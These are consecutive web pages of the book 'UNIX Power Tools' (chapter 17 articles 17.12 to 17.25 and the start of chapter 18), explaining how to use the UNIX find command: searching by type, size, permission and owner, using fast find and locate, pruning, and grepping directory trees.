So in the multi-layered expression above, when find is looking at a file, it checks whether or not the file is a directory. If it is, -type d is true, and find evaluates the -exec (changing the file's mode). If the file is not a directory, find knows that the result of the entire statement will be false, so it doesn't bother wasting time with the -exec. find goes on to the next chunk.

And, of course, there's no need for the -execs to run the same kind of command. Some could delete files, some could change modes, some could move them to another directory, and so on.

One final point. Although understanding our multi-layered find expression was difficult, it really was no different from a "garden variety" command. Think about what the following command means:

% find . -name "*.c" -print

There are two operators: -name (which evaluates to true if the file's name ends in .c) and -print (which is always true). The two operators are ANDed together; we could stick a -a between the two without changing the result at all. If -name evaluates to false (i.e., if the file's name doesn't end in .c), find knows that the entire expression will be false. So it doesn't bother with -print. But if -name evaluates to true, find evaluates -print-which, as a side effect, prints the name.

As we said in article 17.6, find's business is evaluating expressions - not locating files. Yes, find certainly locates files; but that's really just a side effect. For me, understanding this point was the conceptual breakthrough that made find much more useful.

- ML

Previous: 17.11 Using -exec to Create Custom Tests | UNIX Power Tools | Next: 17.13 Searching for Files by Type
17.11 Using -exec to Create Custom Tests | Book Index | 17.13 Searching for Files by Type
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.13 Searching for Files by Type

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.12 Finding Many Things with One Command Chapter 17
Finding Files with find 		Next: 17.14 Searching for Files by Size

17.13 Searching for Files by Type

If you are only interested in files of a certain type, use the -type argument, followed by one of the characters in Table 17.1 [some versions of find don't have all of these -JP ].

Table 17.1: find -type Characters
Character | Meaning
b | Block special file ("device file")
c | Character special file ("device file")
d | Directory
f | Plain file
l | Symbolic link
p | Named pipe file
s | Socket

Unless you are a system administrator, the important types are directories, plain files, or symbolic links (i.e., types d, f, or l).

Using the -type operator, another way to list files recursively is:

xargs
 % find . -type f -print | xargs ls -l

It can be difficult to keep track of all the symbolic links in a directory. The next command will find all the symbolic links in your home directory and print the files that your symbolic links point to. [$NF gives the last field of each line, which holds the name a symlink points to. -JP] If your find doesn't have a -ls operator, pipe to xargs ls -l as above.

% find $HOME -type l -ls | awk '{print $NF}'

- BB

Previous: 17.12 Finding Many Things with One Command | UNIX Power Tools | Next: 17.14 Searching for Files by Size
17.12 Finding Many Things with One Command | Book Index | 17.14 Searching for Files by Size
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.14 Searching for Files by Size

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.13 Searching for Files by Type Chapter 17
Finding Files with find 		Next: 17.15 Searching for Files by Permission

17.14 Searching for Files by Size

find has several operators that take a decimal integer. One such argument is -size. The number after this argument is the size of the files in disk blocks. Unfortunately, this is a vague number. Earlier versions of UNIX used disk blocks of 512 bytes. Newer versions allow larger block sizes, so a "block" of 512 bytes is misleading.

This confusion is aggravated when the command ls -s is used. The -s option supposedly lists the size of the file in blocks. But if your system has a different block size than ls -s has been programmed to assume, it can give a misleading answer. You can put a c after the number, and specify the size in bytes. To find a file with exactly 1234 bytes (as in an ls -l listing), type:

% find . -size 1234c -print

To search for files using a range of file sizes, a minus or plus sign can be specified before the number. The minus sign (-) means less than, and the plus sign (+) means greater than. This next example lists all files that are greater than 10,000 bytes, but less than 32,000 bytes:

% find . -size +10000c -size -32000c -print

When more than one qualifier is given, both must be true (17.6).

- BB

Previous: 17.13 Searching for Files by Type | UNIX Power Tools | Next: 17.15 Searching for Files by Permission
17.13 Searching for Files by Type | Book Index | 17.15 Searching for Files by Permission
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.15 Searching for Files by Permission

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.14 Searching for Files by Size Chapter 17
Finding Files with find 		Next: 17.16 Searching by Owner and Group

17.15 Searching for Files by Permission

[If you aren't comfortable with octal numbers and the way UNIX uses them in file permissions, article 1.23in is good background reading. -JP]

find can look for files with specific permissions. It uses an octal number for these permissions. The string rw-rw-r-- indicates that you and members of your group have read and write permission, while the world has read-only privilege. The same permissions are expressed as an octal number as 664. To find all *.o files with the above permissions, use:

% find . -name \*.o -perm 664 -print

To see if you have any directories with write permission for everyone, use:

% find . -type d -perm 777 -print

The examples above only match an exact combination of permissions. If you wanted to find all directories with group write permission, you want to match the pattern --w--. There are several combinations that can match. You could list each combination, but find allows you to specify a pattern that can be bit-wise ANDed with the permissions of the file. Simply put a minus sign (-) before the octal value. The group write permission bit is octal 20, so the following negative value:

% find . -perm -20 -print

will match the following common permissions:

Permission | Octal Value
rwxrwxrwx | 777
rwxrwxr-x | 775
rw-rw-rw- | 666
rw-rw-r-- | 664
rw--rw---- | 660

If you wanted to look for files that you can execute (i.e., shell scripts or programs), you want to match the pattern -x--- by typing:

% find . -perm -100 -print

When the -perm argument has a minus sign, all of the permission bits are examined, including the set user ID bits (1.23).

- BB

Previous: 17.14 Searching for Files by Size | UNIX Power Tools | Next: 17.16 Searching by Owner and Group
17.14 Searching for Files by Size | Book Index | 17.16 Searching by Owner and Group
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.16 Searching by Owner and Group

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.15 Searching for Files by Permission Chapter 17
Finding Files with find 		Next: 17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator)

17.16 Searching by Owner and Group

Often you need to look for a file belonging to a certain user or group. This is done with the -user and -group search operators. You often need to combine this with a search for particular permissions. To find all files that are set user ID (1.23) to root, use:

% find . -user root -perm -4000 -print

To find all files that are set group ID (1.23) to staff, use:

% find . -group staff -perm -2000 -print

Instead of using a name or group from /etc/passwd (36.3) or /etc/group (22.13), you can use the UID or GID number (38.3):

% find . -user 0 -perm -4000 -print
% find . -group 10 -perm -2000 -print

Often, when a user leaves a site, his account is deleted, but his files are still on the computer. Some versions of find have -nouser or -nogroup operators to find files with an unknown user or group ID.

- BB

Previous: 17.15 Searching for Files by Permission | UNIX Power Tools | Next: 17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator)
17.15 Searching for Files by Permission | Book Index | 17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.16 Searching by Owner and Group Chapter 17
Finding Files with find 		Next: 17.18 Using "Fast find"

17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator)

The find operator {}, used with the -exec (17.10) operator, only works when it's separated from other arguments by white space. So, for example, the following command will not do what you thought it would:

% find . -type d -exec mkdir /usr/project/{} \;

You might have thought this command would make a duplicate set of - pty) directories, from the current directory and down, starting at the directory /usr/project. For instance, when the find command finds the directory ./adir, you would have it execute mkdir /usr/project/./adir (ignore the dot; the result is /usr/project/adir) (1.21).

That doesn't work because find doesn't recognize the {} in the pathname. The trick is to pass the directory names to sed (34.24), which substitutes in the leading pathname:

% find . -type d -print | sed 's@^@/usr/project/@' | xargs mkdir
% find . -type d -print | sed 's@^@mkdir @' | (cd /usr/project; sh)

Let's start with the first example. Given a list of directory names, sed substitutes the desired path to that directory at the beginning of the line before passing the completed filenames to xargs (9.21) and mkdir. An @ is used as a sed delimiter (34.7) because slashes (/) are needed in the actual text of the substitution. If you don't have xargs, try the second example. It uses sed to insert the mkdir command, then changes to the target directory in a subshell (13.7) where the mkdir commands will actually be executed.

- JP

Previous: 17.16 Searching by Owner and Group | UNIX Power Tools | Next: 17.18 Using "Fast find"
17.16 Searching by Owner and Group | Book Index | 17.18 Using "Fast find"
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.18 Using "Fast find"

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator) Chapter 17
Finding Files with find 		Next: 17.19 Finding Files (Much) Faster with a find Database

17.18 Using "Fast find"

Berkeley added a handy feature to its find command - if you give it a single argument, it will search a database for file or directory names that match. (If your system doesn't have this feature, see the locate utility below.) For example, if you know there's a file named MH.eps somewhere on the computer but you don't know where, type:

% find MH.eps
/nutshell/graphics/cover/MH.eps

The database is usually rebuilt every night. So, it's not completely up-to-date, but it's usually close enough. If your system administrator has set this up, the database usually lists all files on the filesystem - although it may not list files in directories that don't have world-access permission. If the database isn't set up at all, you'll get an error like /usr/lib/find/find.codes: No such file or directory. (If that's the case, you can set up a "fast find" database yourself. Use GNU locate, below, or see article 17.19.)

Unless you use wildcards, fast find does a simple string search, like fgrep (27.6), through a list of absolute pathnames (14.2). Here's an extreme example:

% find bin
/bin
/bin/ar
   ...
/home/robin
/home/robin/afile
/home/sally/bin
   ...

You can cut down this output by piping it through grep (27.1), sed (34.24), and so on. All the fast find commands I've used have an undocumented feature, though: they can match shell wildcards (*, ?, []) (15.2). If you use a wildcard on one end of the pattern, the search pattern is automatically "anchored" to the opposite end of the string (the end where the wildcard isn't). The shell matches filenames in the same way.

The difference between the shell's wildcard matching and fast find's matching is that the shell treats slashes (/) specially: you have to type them as part of the expression. In fast find, a wildcard matches slashes and any other character. When you use a wildcard, be sure to put quotes around the pattern so the shell won't touch it.

Here are some examples:

  • To find any pathname that ends with bin:

    % find '*bin'
/bin
/home/robin
/home/robin/bin
   ...

  • To find any pathname that ends with /bin (a good way to find a file or directory named exactly bin):

    % find '*/bin'
/bin
/home/robin/bin
/usr/bin
   ...

  • Typing find '*bin*' is the same as typing find bin.

  • To match the files in a directory named bin, but not the directory itself, try something like:

    % find '*/bin/*'
/bin/ar
/bin/cat
   ...
/home/robin/bin/prog

  • To find the files in /home whose names end with a tilde (~) (these are probably backup files from the Emacs editor):

    % find '/home/*~'
/home/testfile~
/home/allan/.cshrc~
/home/allan/.login~
/home/dave/.profile~
   ...

    Notice that the fast find asterisk matches "dot files," too.

  • The ? (question mark) and [] (square brackets) operators work, too. They're not quite as useful as they are in the shell because they match the slashes (/) in the pathnames. Here are a couple of quick examples:

    % find '????'
/bin
/etc
/lib
/src
/sys
/usr
% find '/[bel]??'
/bin
/etc
/lib

locate
 Unfortunately, not all systems have fast find. Fortunately, the Free Software Foundation has locate. It's similar to fast find, but locate has an advantage: you can have multiple file databases and you can search some or all of them. Locate comes with a database building program.

Because fast find and locate are so fast, they're worth trying to use whenever you can. Pipe the output to xargs (9.21) and any other UNIX command, run a shell or awk script to test its output - almost anything will be faster than running a standard find. For example, if you want a long listing of the files, here are two find commands to do it:

-d `...`
% ls -l `find whatever`
% find whatever | xargs ls -ld

There's one problem with that trick. The fast find list may be built by root, which can see all the files on the filesystem; your ls -l command may not be able to access all files in the list.

- JP

Previous: 17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator) | UNIX Power Tools | Next: 17.19 Finding Files (Much) Faster with a find Database
17.17 Duplicating a Directory Tree (No Pathnames with find {} Operator) | Book Index | 17.19 Finding Files (Much) Faster with a find Database
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.19 Finding Files (Much) Faster with a find Database

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.18 Using "Fast find" Chapter 17
Finding Files with find 		Next: 17.20 grepping a Directory Tree (and a Gotcha)

17.19 Finding Files (Much) Faster with a find Database

If you use find (17.2) to search for files, you know that it can take a long time to work, especially when there are lots of directories to search. Here are some ideas for speeding up your finds.

NOTE: By design, setups like these that build a file database won't have absolutely up-to-date information about all your files.

If your system has "fast find" or GNU locate (17.18), that's probably all you need. It lets you search a list of all pathnames on the system.

Even if you have the fast find or locate, it still might not do what you need. For example, those utilties only search for pathnames. To find files by the owner's name, the number of links, the size, and so on, you have to use "slow" find. In that case - or, when you don't have fast find or locate - you may want to set up your own version.

The basic fast find has two parts. One part is a command, a shell script named /usr/lib/find/updatedb, that builds a database of the files on your system - if your system has it, take a look to see a fancy way to build the database. The other part is the find command itself - it searches the database for pathnames that match the name (regular expression) you type.

To make your own fast find:

  1. Pick a filename for the database. We'll use $HOME/.fastfind (some systems use $LOGDIR instead of $HOME).

  2. Design the find command you want to use. The command to build a database of all the files in your home directory might look like this:

    cd
find . -print | sed "s@^./@@" > $HOME/.fastfind

    If you're short on disk space, use this instead:

gzip
    cd
find . -print | sed "s@^./@@" | gzip > $HOME/.fastfind.gz

    To save disk space, the script starts from your home directory, then uses sed (34.24) to strip the start of the pathname (like ./) from every entry. (If you're building a database of the whole filesystem, don't do that!)

  3. Set up cron (40.12) or at (40.3) to run that find as often as you want - usually once early every morning is fine.

  4. Finally, make a shell script (1.5) (I call mine ffind) to search the database. It's usually fastest to use egrep (27.5)- and that lets you search with flexible regular expressions (26.4), too:

    egrep "$1" $HOME/.fastfind | sed "s@^@$HOME/@"

    or, for a gzipped database:

    gzcat
    gzcat $HOME/.fastfind.gz | egrep "$1" | sed "s@^@$HOME/@"

    The sed expressions add your home directory's pathname (like /usr/freddie) to each line.

To search the database, type:

% ffind somefile
/usr/freddie/lib/somefile
% ffind '/(sep|oct)[^/]*$'
/usr/freddie/misc/project/september
/usr/freddie/misc/project/october

You can do much more. I'll get you started. If you have room to store more information than just pathnames, you can feed your find output to a command like ls -l or sls (16.29). For example, if you do a lot of work with links (18.3), you might want to keep the files' i-numbers (1.22) as well as their names. You'd build your database with a command like the one below. Use xargs (9.21) or something like it (9.20).

cd
find . -print | xargs ls -id > $HOME/.fastfind

Or, if your version of find has the handy -ls operator, use the next script. Watch out for really large i-numbers; they might shift the columns and make cut (35.14) give wrong output.

cd
find . -ls | cut -c1-7,67- > $HOME/.fastfind

The exact column numbers will depend on your system. Then, your ffind script could search for files by i-number. For instance, if you had a file with i-number 1234 and you wanted to find all its links:

% ffind "^1234 "

(The space at the end prevents matches with i-numbers like 12345.) You could also search by pathname.

Article 16.21 shows another find database setup, a list of directories or files with the same names.

With some information about UNIX shell programming and utilities like awk (33.11), the techniques in this article should let you build and search a sophisticated file database - and get information much faster than with plain old find.

- JP

Previous: 17.18 Using "Fast find" | UNIX Power Tools | Next: 17.20 grepping a Directory Tree (and a Gotcha)
17.18 Using "Fast find" | Book Index | 17.20 grepping a Directory Tree (and a Gotcha)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.20 grepping a Directory Tree (and a Gotcha)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.19 Finding Files (Much) Faster with a find Database Chapter 17
Finding Files with find 		Next: 17.21 lookfor: Which File Has that Word?

17.20 grepping a Directory Tree (and a Gotcha)

Want to search every file, in some directory and all its subdirectories, to find the file that has a particular word or string in it? That's a job for find and one of the grep (27.1) commands.

For example, to search all the files for lines starting with a number and containing the words "SALE PRICE," you could use:

% egrep '^[0-9].*SALE PRICE' `find . -type f -print`
./archive/ad.1290: 1.99 a special SALE PRICE
./archive/ad.0191: 2.49 a special SALE PRICE

Using the backquotes (9.16) (``) might not work. If find finds too many files, egrep's command-line arguments can get too long (9.20). Using xargs (9.21) can solve that; it splits long sets of arguments into smaller chunks. There's a problem with that: if the last "chunk" has just one filename and the grep command finds a match there, grep won't print the filename:

fgrep

% find . -type f -print | xargs fgrep '$12.99'
./old_sales/ad.0489: Get it for only $12.99!
./old_sales/ad.0589: Last chance at $12.99, this month!
Get it for only $12.99 today.

The answer is to add the UNIX "empty file," /dev/null (13.14). It's a filename that's guaranteed never to match but always to leave fgrep with at least two filenames:

% find . -type f -print | xargs fgrep '$12.99' /dev/null

Then xargs will run commands like:

fgrep '$12.99' /dev/null ./afile ./bfile ...
fgrep '$12.99' /dev/null ./archives/ad.0190 ./archives/ad.0290 ...
fgrep '$12.99' /dev/null ./old_sales/ad.1289

That trick is also good when you use a wildcard and only one file might match it. grep won't always print the file's name unless you add /dev/null:

% grep "whatever" /dev/null /x/y/z/a*

- JP

Previous: 17.19 Finding Files (Much) Faster with a find Database | UNIX Power Tools | Next: 17.21 lookfor: Which File Has that Word?
17.19 Finding Files (Much) Faster with a find Database | Book Index | 17.21 lookfor: Which File Has that Word?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.21 lookfor: Which File Has that Word?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.20 grepping a Directory Tree (and a Gotcha) Chapter 17
Finding Files with find 		Next: 17.22 Finding the Links to a File

17.21 lookfor: Which File Has that Word?

The following simple shell script, lookfor, uses find (17.1) to look for all files in the specified directory hierarchy that have been modified within a certain time, and it passes the resulting names to grep (27.2) to scan for a particular pattern. For example, the command:

% lookfor /work -7 tamale enchilada

would search through the entire /work filesystem and print the names of all files modified within the past week that contain the words "tamale" or "enchilada". (So, for example: if this article is stored on /work, lookfor should find it.)

The arguments to the script are the pathname of a directory hierarchy to search in ($1), a time ($2), and one or more text patterns (the other arguments). This simple but slow version will search for an (almost) unlimited number of words:

#!/bin/sh
temp=/tmp/lookfor$$
trap 'rm -f $temp; exit' 0 1 2 15
find $1 -mtime $2 -print > $temp
shift; shift
for word
do grep -i "$word" `cat $temp` /dev/null
done

That version runs grep once to search for each word. The -i option makes the search find either uppercase or lowercase letters. Using /dev/null makes sure that grep will print the filename . (13.14) Watch out: the list of filenames may get too long (9.20).

The next version is more limited but faster. It builds a regular expression for egrep (27.5) that finds all the words in one pass through the files. If you use too many words, egrep will say Regular expression too long. Your egrep may not have a -i option; you can just omit it. This version also uses xargs (9.21); though xargs has its problems (9.22).

#!/bin/sh
where="$1"
when="$2"
shift; shift
# Build egrep expression like (word1|word2|...) in $expr
for word
do
    case "$expr" in
    "") expr="($word" ;;
    *) expr="$expr|$word" ;;
    esac
done
expr="$expr)"

find $where -mtime $when -print | xargs egrep -i "$expr" /dev/null

- JP, TOR

Previous: 17.20 grepping a Directory Tree (and a Gotcha) | UNIX Power Tools | Next: 17.22 Finding the Links to a File
17.20 grepping a Directory Tree (and a Gotcha) | Book Index | 17.22 Finding the Links to a File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.22 Finding the Links to a File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.21 lookfor: Which File Has that Word? Chapter 17
Finding Files with find 		Next: 17.23 Finding Files with -prune

17.22 Finding the Links to a File

Here is how to find links - and a brief look at the UNIX filesystem from the user's viewpoint. Suppose you are given the following:

% ls -li /usr/foo
 2076 -rw-r--r--  3 chris         326 Sep 16 03:23 /usr/foo

In other words, there are three links, and /usr/foo is one of three names for inode (1.22) 2076. You can find the full names of the other two links by using /etc/ncheck and/or find. However, just knowing the inode number does not tell you everything.

The whole truth is that there is another number hiding away in there. This is the device number, and it tells which filesystem holds the file. There can be any number of inode 2076s, as long as each one is on a different filesystem. (More recent UNIX systems use a filesystem ID number in place of a device number, so that they can represent filesystems on other machines. They may also use a vnode number rather than an inode number. The effect is the same, although you often cannot run /etc/ncheck on anything but a local disk.)

You can find out which filesystem /usr/foo is in by running df (24.9) or mount. Suppose it is on /dev/sd0g. If /dev/sd0g shows up as:

% df
Filesystem    kbytes    used   avail capacity  Mounted on
/dev/sd0g     179423  152202    9278    94%    /usr

% ls -l /dev/sd0g
brw------  1 root       2,   6 Dec 27 07:17 /dev/sd0g

then it is "major device 2, minor device 6." These numbers are smashed together with the makedev macro in one of the kernel source files. Typically this is just major*256 + minor; here we have 2*256+6, or 518. Another way to find this same number is to use the stat(2) system call on the original file /usr/foo; the device number appears in the st_dev field. [The stat (21.13) program does this for you. -JP ]

So if you do a find / -inum 2076 -print to find every file with inode number 2076, you may find more than three files. Only three of them will be on sd0g, though.

- CT in net.unix on Usenet, 15 January 1985

Previous: 17.21 lookfor: Which File Has that Word? | UNIX Power Tools | Next: 17.23 Finding Files with -prune
17.21 lookfor: Which File Has that Word? | Book Index | 17.23 Finding Files with -prune
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.23 Finding Files with -prune

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.22 Finding the Links to a File Chapter 17
Finding Files with find 		Next: 17.24 Skipping Some Parts of a Tree in find (A More Selective -prune)

17.23 Finding Files with -prune

find has lots of operators for finding some particular kinds of files. But find won't stop at your current directory - if there are subdirectories, it looks there too. How can you tell it "only the current directory"? Use -prune.

NOTE: If your version of find doesn't have -prune, this won't work. Try GNU find on the CD-ROM.

-prune prunes find's search tree at the current pathname. So, if the current pathname is a directory, find won't descend into that directory for any further searches. The command line looks kind of hairy. Here's one to find all files from the current directory modified in the last 24 hours:

% find . \( -type d ! -name . -prune \) -o \( -mtime -1 -print \)
./afile
./cfile

I'll put that into an alias in a minute. First let's try to understand it - once you see the pattern, you'll understand some important things (8.5, 17.12) about find that many people don't. Let's follow find as it looks at a few pathnames.

find looks at each entry, one by one, in the current directory (.). For each entry, find tries to match the expression from left to right. As soon as some part matches, it ignores the rest (if any) of the expression.

  1. When find is looking at the file named ./afile: The first part of the expression, \( -type d ! -name . -prune \), doesn't match (./afile isn't a directory). So find tries the other part, after the -o (or).

    Has ./afile been modified in the last day? In this case, it has - so the -print (which is always true) prints the pathname.

  2. Next, ./bfile: Like the previous step, the first part of the expression won't match. In the second part, \( -mtime -1 -print \), the file's modification time is more than one day ago. So this part of the expression is false; find doesn't bother with the -print operator.

  3. Finally, let's look at ./adir, a directory: The first part of the expression, \( -type d ! -name . -prune \), matches. That's because ./adir is a directory (-type d), its name is not . (! -name .)-and so -prune, which is always true, makes this part of the expression true. find skips ./adir.

Your find may also have a -maxdepth option that gives the maximum number of directory levels to descend. For example, find . -maxdepth 0 operates only on the current directory.

Let's put the version with -prune into a couple of aliases. The first one, named find. (with a dot on the end of its name), just prints names with -print. The second alias gives a listing like ls -gilds. They work like this:

% find. -mtime -1
./afile
./cfile
% find.ls -mtime -1
43073   0 -r----  1 jerry    ora        0 Mar 27 18:16 ./afile
43139   2 -r-r-r-  1 jerry    ora     1025 Mar 24 02:33 ./cfile

The find. alias is handy inside backquotes (9.16), feeding a pipe, and other places you need a list of filenames. Here are the aliases. The second one, find.ls, uses -ls instead of -print:

alias find. 'find . \( -type d ! -name . -prune \) -o \( \!* -print \)'
alias find.ls 'find . \( -type d ! -name . -prune \) -o \( \!* -ls \)'

(The Bourne shell versions on the CD-ROM are named Find and Findls because a dot isn't legal in a function name.)

If you don't want the ./ at the start of each name, add a pipe through colrm 1 2 (35.15) or cut -c3- (35.14) to the end of the alias definition.

- JP

Previous: 17.22 Finding the Links to a File | UNIX Power Tools | Next: 17.24 Skipping Some Parts of a Tree in find (A More Selective -prune)
17.22 Finding the Links to a File | Book Index | 17.24 Skipping Some Parts of a Tree in find (A More Selective -prune)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.24 Skipping Some Parts of a Tree in find (A More Selective -prune)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.23 Finding Files with -prune Chapter 17
Finding Files with find 		Next: 17.25 Keeping find From Searching Networked Filesystems

17.24 Skipping Some Parts of a Tree in find (A More Selective -prune)

Q: I want to run find across a directory tree, skipping standard directories like /usr/spool and /usr/local/bin. A -name dirname -prune clause won't do it because - name doesn't match the whole pathname - just each part of it, such as spool or local. How can I make find match the whole pathname, like /usr/local/bin/, instead of all directories named bin?

A: It cannot be done directly. You can do this:

A:
test
find /path -exec test {} = /foo/bar -o {} = /foo/baz \; -prune -o pred

A: This will not perform pred on /foo/bar and /foo/baz; if you want them done, but not any files within them, try:

A:

find path \( -exec test test-exprs \; ! -prune \) -o pred

A: The second version is worth close study, keeping the manual for find at hand for reference. It shows a great deal about how find works.

A: The -prune operator simply says "do not search the current path any deeper," and then succeeds a la -print.

Q: I only want a list of pathnames; the pred I use in your answer above will be just -print. I think I could solve my particular problem by piping the find output through a sed (27.15) or egrep -v (27.3) filter that deletes the pathnames I don't want to see.

A: That would probably be fastest. Using test runs the test program for each file name, which is quite slow. There's more about complex find expressions in other articles, especially 17.6 and 17.12.

- CT, JP

Previous: 17.23 Finding Files with -prune | UNIX Power Tools | Next: 17.25 Keeping find From Searching Networked Filesystems
17.23 Finding Files with -prune | Book Index | 17.25 Keeping find From Searching Networked Filesystems
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.25 Keeping find From Searching Networked Filesystems

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.24 Skipping Some Parts of a Tree in find (A More Selective -prune) Chapter 17
Finding Files with find 		Next: 18. Linking, Renaming, and Copying Files

17.25 Keeping find From Searching Networked Filesystems

The most painful aspect of a large NFS (1.33) environment is avoiding the access of files on NFS servers that are down. find is particularly sensitive to this, because it is very easy to access dozens of machines with a single command. If find tries to explore a file server that happens to be down, it will time out. It is important to understand how to prevent find from going too far.

To do this, use -prune with -fstype or -xdev. [Unfortunately, not all finds have all of these. -JP ] fstype tests for filesystem types, and expects an argument like nfs or 4.2. The latter refers to the "fast filesystem" introduced in the 4.2 release of the Berkeley Software Distribution. To limit find to files only on a local disk or disks, use the clause -fstype 4.2 -prune or -o -fstype nfs -prune.

To limit the search to one particular disk partition, use -xdev. For example, if you need to clear out a congested disk partition, you could look for all files greater than 40 blocks on the current disk partition with this command:

% find . -size +40 -xdev -print

- BB

Previous: 17.24 Skipping Some Parts of a Tree in find (A More Selective -prune) | UNIX Power Tools | Next: 18. Linking, Renaming, and Copying Files
17.24 Skipping Some Parts of a Tree in find (A More Selective -prune) | Book Index | 18. Linking, Renaming, and Copying Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] Linking, Renaming, and Copying Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.25 Keeping find From Searching Networked Filesystems Chapter 18 Next: 18.2 What's Really in a Directory

18. Linking, Renaming, and Copying Files

Contents:
What's So Complicated About Copying Files?
What's Really in a Directory
Files with Two or More Names
More About Links
Creating and Removing Links
Stale Symbolic Links
Linking Directories
Showing the Actual Filenames for Symbolic Links
Renaming, Copying, or Comparing a Set of Files
There's More than One Way to Do It
Renaming Files with ren
Renaming a List of Files Interactively
One More Way to Do It
Relinking Multiple Symbolic Links
Copying Directory Trees with cp -r
Copying Directory Trees with (tar | tar)

18.1 What's So Complicated About Copying Files?

It hardly seems that there should be enough material to fill an entire chapter with information about linking, moving, and copying files. There are several things that make the topic more complex (and more interesting) than you might expect:

  • In addition to moving and copying files, UNIX systems also allow you to link them - to have two filenames, perhaps in different directories or even on different filesystems, that point to the same file. We talk about why you'd want to do that (article 18.3), the difference between "hard" and "soft" links (article 18.4), how to create links (article 18.5), and various issues that can come up when using links (articles 18.6, 18.7, and 18.8).

  • It is non-trivial to rename a group of files all at once, but as usual, UNIX provides many ways to circumvent the tedium of renaming files one by one. We show you many different ways to do this, exploring the variety in the UNIX toolbox along the way.

  • In a hierarchical filesystem, you're sometimes faced with the problem of moving not only files but entire directory hierarchies from one place to another. Articles 18.15 and 18.16 show you two ways to do that. Of course, this discussion starts to get into the territory covered by the next two chapters. Chapter 19 covers "archives"-large files that include many other files and directories, with instructions for recreating copies of the original files and directories. Chapter 20 covers backups - which are typically archive files copied to tape.

- TOR

Previous: 17.25 Keeping find From Searching Networked Filesystems | UNIX Power Tools | Next: 18.2 What's Really in a Directory
17.25 Keeping find From Searching Networked Filesystems | Book Index | 18.2 What's Really in a Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.2 What's Really in a Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.1 What's So Complicated About Copying Files? Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.3 Files with Two or More Names

18.2 What's Really in a Directory

Before you can understand moving and copying files, you need to know a bit more about how files are represented in directories. What does it mean to say that a file is really "in" a directory? It's easy to imagine that files are actually inside of something (some special chunk of the disk that's called a directory). But that's precisely wrong, and it's one place where the filing cabinet model (1.19) of a filesystem doesn't apply.

